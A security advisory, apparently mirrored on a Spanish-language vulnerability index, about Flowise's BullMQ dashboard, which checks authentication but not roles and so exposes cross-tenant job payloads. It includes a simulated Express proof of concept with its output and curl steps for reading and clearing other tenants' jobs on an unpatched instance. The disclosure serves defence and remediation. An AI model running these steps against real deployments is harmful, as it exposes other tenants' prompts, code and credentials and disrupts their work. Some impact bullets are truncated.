GHSA-RPCC-GW54-MFGX
BullMQ dashboard `/admin/queues` is auth-only (no RBAC), exposing cross-tenant job payloads to every authenticated user
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-RPCC-GW54-MFGX divulgada · CVSS 8.7 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
### Summary
When Flowise runs in queue mode with the BullMQ admin dashboard enabled
(`MODE=queue + ENABLE_BULLMQ_DASHBOARD=true + !isCloud()`), the
`/admin/queues` mount is gated only by the `verifyTokenForBullMQDashboard`
middleware (`enterprise/middleware/passport/index.ts:437-463`). That
middleware accepts any authenticated user — there is no role check, no
permission check, no workspace/organization scoping. Every workspace
member, including the lowest-privileged role of any tenant, reaches the
full Bull-Board UI which exposes:
- All queues across the entire Flowise instance (prediction, upsertion).
- All job payloads — including `incomingInput` (chat messages plus
- Bull-Board write actions: retry, remove, promote, clean — usable
The `/admin/queues` mount is outside `/api/v1/*` so the global API
gate (`index.ts:214-284`) does not apply. The pre-2026 code had no auth at
all on this path; commit `1bfa7a1c` ("Fix: Disclosures", PR #5562, 2026-01-08)
added authentication but not authorization. T1.5 is the
incompletely-remediated state: auth-only with no role gate.
Details
Vulnerable mount — `packages/server/src/index.ts:323-335`:
if (process.env.MODE === MODE.QUEUE && process.env.ENABLE_BULLMQ_DASHBOARD === 'true' && !this.identityManager.isCloud()) {
// Initialize admin queues rate limiter
const id = 'bullmq_admin_dashboard'
await this.rateLimiterManager.addRateLimiter(
id,
60,
100,
process.env.ADMIN_RATE_LIMIT_MESSAGE || 'Too many requests to admin dashboard, please try again later.'
)
const rateLimiter = this.rateLimiterManager.getRateLimiterById(id)
this.app.use('/admin/queues', rateLimiter, verifyTokenForBullMQDashboard, this.queueManager.getBullBoardRouter())
}The middleware — `packages/server/src/enterprise/middleware/passport/index.ts:437-463`:
export const verifyTokenForBullMQDashboard = (req: Request, res: Response, next: NextFunction) => {
passport.authenticate('jwt', { session: true }, (err: any, user: LoggedInUser, info: object) => {
if (err) {
return next(err)
}
// @ts-ignore
if (info && info.name === 'TokenExpiredError') {
if (req.cookies && req.cookies.refreshToken) {
return res.redirect('/signin?retry=true')
}
return res.redirect('/signin')
}
if (!user) {
return res.redirect('/signin')
}
const identityManager = getRunningExpressApp().identityManager
if (identityManager.isEnterprise() && !identityManager.isLicenseValid()) {
return res.redirect('/license-expired')
}
req.user = user
next() // ← any authenticated user passes
})(req, res, next)
}The function checks the JWT cookie (token validity, expiry, license
state) and then unconditionally calls `next()`. There is no comparison
against `user.isOrganizationAdmin`, `user.permissions`, `user.activeWorkspaceId`,
or `user.activeOrganizationId`. This is a binary gate: authenticated /
not authenticated.
For comparison, every other RBAC-protected route in Flowise uses the
`checkPermission` / `checkAnyPermission` helpers from
`enterprise/rbac/PermissionCheck.ts:5-46`:
export const checkPermission = (permission: string) => {
return (req: Request, res: Response, next: NextFunction) => {
const user = req.user
if (user) {
if (user.isOrganizationAdmin) return next() // admin override
const permissions = user.permissions
if (permissions && permissions.includes(permission)) return next()
}
return res.status(403).json({ message: ErrorMessage.FORBIDDEN })
}
}No equivalent permission exists for the BullMQ dashboard — the
permission catalog (`enterprise/rbac/Permissions.ts`) does not contain a
`queues:view` / `admin:queues` / `system:admin` entry. The dashboard was
simply mounted without RBAC.
Job payloads exposed — every `*.addJob(omit(executeData, OMIT_QUEUE_JOB_DATA))`
call site (10+ across `services/documentstore`, `services/agentflowv2-generator`,
`services/nodes`, `utils/buildChatflow.ts:1087`, `utils/upsertVector.ts:310`)
omits only six runtime objects:
// utils/constants.ts:82
export const OMIT_QUEUE_JOB_DATA = [
'componentNodes',
'appDataSource',
'sseStreamer',
'telemetry',
'cachePool',
'usageCacheManager',
'abortControllerPool'
]What remains in the queued job data and is visible in the dashboard:
| Field | Sensitivity |
|---|---|
| `incomingInput` (chat messages, `overrideConfig` with `credentialId`/`apiKey`) | High — contains user prompts, often PII; can contain referenced credential IDs |
| `chatflow.flowData` (graph JSON) | High — contains `customFunction.inputs.javascriptFunction` source, `chatNemoGuardrails.baseUrl`, all node-level config, embedded system prompts (proprietary) |
| `chatflow.id`, `chatId`, `orgId`, `workspaceId` | Multi-tenant context |
| `files` | Document content (multipart uploads) |
| `baseURL`, `chatType`, `isInternal`, `isEvaluation`, `evaluationRunId`, `subscriptionId`, `productId` | Tenant operational metadata |
Bull-Board write actions (per `@bull-board/express`):
the dashboard exposes `POST /api/queues/:queueName/jobs/:jobId/retry`,
`/clean`, `/remove`, `/promote`, plus full-queue clean/drain. A
low-privileged user can manipulate any tenant's job state.
PoC
`pocs/T1.5-bullmq-dashboard-no-rbac/repro.js` — replays the
`verifyTokenForBullMQDashboard` middleware verbatim into a self-contained
Express app with a stub Bull-Board router. Sweeps role/permission
combinations against both the current Flowise mount and a
hypothetical RBAC-gated mount that wraps the same middleware with
`checkPermission('admin:queues')`.
// PoC for T1.5: BullMQ dashboard /admin/queues lacks any role/permission gate
const express = require('express')
// Reproduce verifyTokenForBullMQDashboard from passport/index.ts:437-463 verbatim
function verifyTokenForBullMQDashboard(req, res, next) {
const user = req._injectedUser
if (!user) return res.redirect('/signin')
req.user = user
next()
}
// What it SHOULD use — checkPermission from rbac/PermissionCheck.ts:5-19
const checkPermission = (permission) => (req, res, next) => {
const user = req.user
if (user) {
if (user.isOrganizationAdmin) return next()
if ((user.permissions || []).includes(permission)) return next()
}
return res.status(403).json({ message: 'Forbidden' })
}
// Stub Bull-Board router — in real life this is @bull-board/api which
// exposes job payloads + retry/remove/promote/clean across all queues.
const bullBoardRouter = express.Router()
bullBoardRouter.use((req, res) => res.json({ accessGrantedTo: req.user }))
const app = express()
app.use((req, res, next) => {
if (req.headers['x-test-user']) req._injectedUser = JSON.parse(req.headers['x-test-user'])
next()
})
app.use('/admin/queues', verifyTokenForBullMQDashboard, bullBoardRouter)
app.use('/admin/queues-correct', verifyTokenForBullMQDashboard, checkPermission('admin:queues'), bullBoardRouter)
const cases = [
{ label: 'Anonymous (no JWT)', user: null },
{ label: 'Workspace member with view-only role',
user: { id: 'low-priv-uuid', isOrganizationAdmin: false, permissions: ['chatflows:view'], activeOrganizationId: 'org-A' } },
{ label: 'Chatflow editor in workspace A',
user: { id: 'editor-A', isOrganizationAdmin: false, permissions: ['chatflows:create'], activeOrganizationId: 'org-A' } },
{ label: 'Chatflow editor in workspace B (different tenant!)',
user: { id: 'editor-B', isOrganizationAdmin: false, permissions: ['chatflows:create'], activeOrganizationId: 'org-B' } },
{ label: 'Organization admin',
user: { id: 'admin', isOrganizationAdmin: true, permissions: [], activeOrganizationId: 'org-A' } }
]
;(async () => {
const server = app.listen(0)
await new Promise((r) => server.once('listening', r))
const base = `http://127.0.0.1:${server.address().port}`
for (const path of ['/admin/queues', '/admin/queues-correct']) {
console.log(`=== Sweep against ${path} ===`)
for (const c of cases) {
const headers = c.user ? { 'x-test-user': JSON.stringify(c.user) } : {}
const r = await fetch(base + path + '/api/queues', { headers, redirect: 'manual' })
const tag = r.status === 200 ? '*** GRANTED ***' : 'denied/redirected'
console.log(` [${tag.padEnd(20)}] ${c.label.padEnd(50)} status=${r.status}`)
}
}
server.close()
})()Observed output
=== Sweep against /admin/queues === ← current Flowise mount
[redirected/denied ] Anonymous (no JWT) status=302
[*** GRANTED *** ] Workspace member with view-only role status=200
[*** GRANTED *** ] Chatflow editor in workspace A status=200
[*** GRANTED *** ] Chatflow editor in workspace B (different tenant!) status=200 ← cross-tenant
[*** GRANTED *** ] Organization admin status=200
=== Sweep against /admin/queues-correct === ← hypothetical RBAC-gated
[denied/redirected ] Anonymous (no JWT) status=302
[denied/redirected ] Workspace member with view-only role status=403
[denied/redirected ] Chatflow editor in workspace A status=403
[denied/redirected ] Chatflow editor in workspace B (different tenant!) status=403
[*** granted *** ] Organization admin status=200 ← only admin4/5 users including a chatflow editor of an *unrelated tenant* reach the
current dashboard mount. The hypothetical RBAC-gated mount restricts
access to org admins, as it should.
End-to-end against a live Flowise instance
# Prerequisite: deployment with MODE=queue, ENABLE_BULLMQ_DASHBOARD=true, NOT cloud-hosted.
# 1. Authenticate as any workspace member (e.g., a chatflow editor):
curl -c jar.txt -X POST https://target/api/v1/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"low-priv-user@example.com","password":"<password>"}'
# 2. Browse the dashboard:
curl -b jar.txt https://target/admin/queues/api/queues
# → returns the full list of queues across the instance.
# 3. Inspect cross-tenant jobs:
curl -b jar.txt https://target/admin/queues/api/queues/prediction/jobs
# → returns job payloads including incomingInput, chatflow.flowData,
# orgId, workspaceId — for every tenant.
# 4. Manipulate another tenant's job (Bull-Board write action):
curl -b jar.txt -X PUT https://target/admin/queues/api/queues/prediction/<job-id>/clean
# → cross-tenant disruption.Verification gap
Live HTTP-driven verification against a deployed Flowise additionally
requires the queue-mode + dashboard-enabled environmental config. The
behavioral simulator is conclusive evidence that the current middleware
chain has no role/permission/workspace check beyond the JWT cookie
validity. The live gap only confirms the Bull-Board contents, which are
documented in the queue addJob sites enumerated above.
Impact
- Class: Authorization bypass / Insecure Direct Object Reference at
- Affected: Flowise deployments running in queue mode with the
- Prerequisites: any session cookie (any role).
- Result:
- Cross-tenant read of prediction and upsertion job payloads
- Cross-tenant write via Bull-Board's UI: retry/remove/promote/
- Workspace member authoring chatflow A can read another
Remediation
Maintainer fix (one-line — extend existing RBAC): add a permission
check to the mount. In `packages/server/src/index.ts:334`:
import { checkPermission } from './enterprise/rbac/PermissionCheck'
// ... in config():
this.app.use(
'/admin/queues',
rateLimiter,
verifyTokenForBullMQDashboard,
checkPermission('admin:queues'), // ← add
this.queueManager.getBullBoardRouter()
)This requires registering a new permission `admin:queues` in
`packages/server/src/enterprise/rbac/Permissions.ts` — assign it to the
`OWNER` role only. Org admins keep dashboard access; everyone else gets
403.
Alternative one-liner (if you don't want to add a new permission):
gate on `isOrganizationAdmin` directly:
const requireOrgAdmin = (req, res, next) => {
if (req.user?.isOrganizationAdmin) return next()
return res.status(403).json({ message: 'Forbidden' })
}
this.app.use('/admin/queues', rateLimiter, verifyTokenForBullMQDashboard, requireOrgAdmin, this.queueManager.getBullBoardRouter())Either fix closes the same-instance cross-tenant exposure.
Defense in depth:
1. Strip cross-tenant context from job payloads before they hit the
queue — at minimum, mask `flowData`'s `customFunction.javascriptFunction`,
any embedded prompts, and credential IDs in the queued data, then
reload them at worker time. This protects against future regressions
in the dashboard auth.
2. Tag every job with its `orgId/workspaceId` and add a per-tenant view
filter to Bull-Board. The current Bull-Board upstream doesn't support
this directly; an alternative is to use separate queues per tenant
so cross-tenant queue-listing is structurally impossible.
3. Consider disabling `ENABLE_BULLMQ_DASHBOARD` by default and only
enabling it via an admin-only operator setting (it's currently a
binary env flag).
4. Audit-log every `/admin/queues/*` access with the resolved user and
the job/queue that was inspected or mutated.
User mitigations until a patch ships:
- Set `ENABLE_BULLMQ_DASHBOARD` to anything other than `true` (or
unset it). The dashboard then will not be mounted at all and Flowise
in queue mode continues to function — only the inspection UI is
disabled.
- If the dashboard is required for operational use, restrict access at
the network layer (e.g., a reverse proxy that gates `/admin/queues/*`
on a VPN allow-list or a separate IdP-signed cookie) until the
upstream RBAC check ships.
- Audit current job payloads for sensitive content; consider whether
any `customFunction.javascriptFunction` source code, system prompts,
or credentials are visible across tenants in your deployment.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmflowise |
Sin parche | — | — | 3.1.4 afectada |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-rpcc-gw54-mfgxLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
